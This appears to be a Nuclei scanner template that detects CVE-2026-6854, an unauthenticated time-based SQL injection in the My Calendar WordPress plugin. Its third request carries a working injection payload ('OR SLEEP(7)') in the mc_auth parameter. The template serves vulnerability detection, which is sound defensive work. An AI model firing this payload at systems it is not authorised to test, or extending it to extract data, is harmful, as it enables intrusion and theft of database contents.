My Calendar < 3.7.9 - Unauthenticated SQL Injection

id: CVE-2026-6854

info:
  name: My Calendar < 3.7.9 - Unauthenticated SQL Injection
  author: Pauullamm
  severity: high
  description: |
    The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'mc_auth' parameter in all versions up to, and including, 3.7.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can extract sensitive database information, leading to data disclosure.
  remediation: |
    Update to the latest version of the My Calendar – Accessible Event Manager plugin.
  reference:
    - https://wpscan.com/vulnerability/a6466f97-4d8a-4d01-b61f-94d89da7c16b/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6854
  classification:
    cve-id: CVE-2026-6854
    epss-score: 0.00273
    epss-percentile: 0.19719
    cwe-id: CWE-89
  metadata:
    max-request: 3
    verified: true
  tags: cve,cve2026,sqli,wordpress,my-calendar

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/my-calendar/readme.txt"

    matchers:
      - type: word
        part: body
        words:
          - "My Calendar"
        internal: true

    extractors:
      - type: regex
        name: my_calendar_version
        part: body
        group: 1
        regex:
          - "(?mi)^Stable tag:\\s*([0-9]+\\.[0-9]+\\.[0-9]+)"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?to=2026-09-12&from=2026-08-13&mc-api=json"

    matchers:
      - type: dsl
        dsl:
          - "status_code >= 200"
          - "contains(tolower(header), 'application/json')"
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?to=2026-09-12&from=2026-08-13&mc-api=json&mc_auth=1%2C2)%20OR%20SLEEP%287%29--%20x"

    matchers:
      - type: dsl
        dsl:
          - "duration >= 7"
# digest: 490a00463044022044cae9b5539c6e1f1604af5bb5df774f8a40acb6959094104ac75b27fba1acfb02201ec5f2c982941ca8e160eba6cb81a275b82bbe2b02d0df58ed0ae0e3b5018015:922c64590222798bb761d5b6d8e72950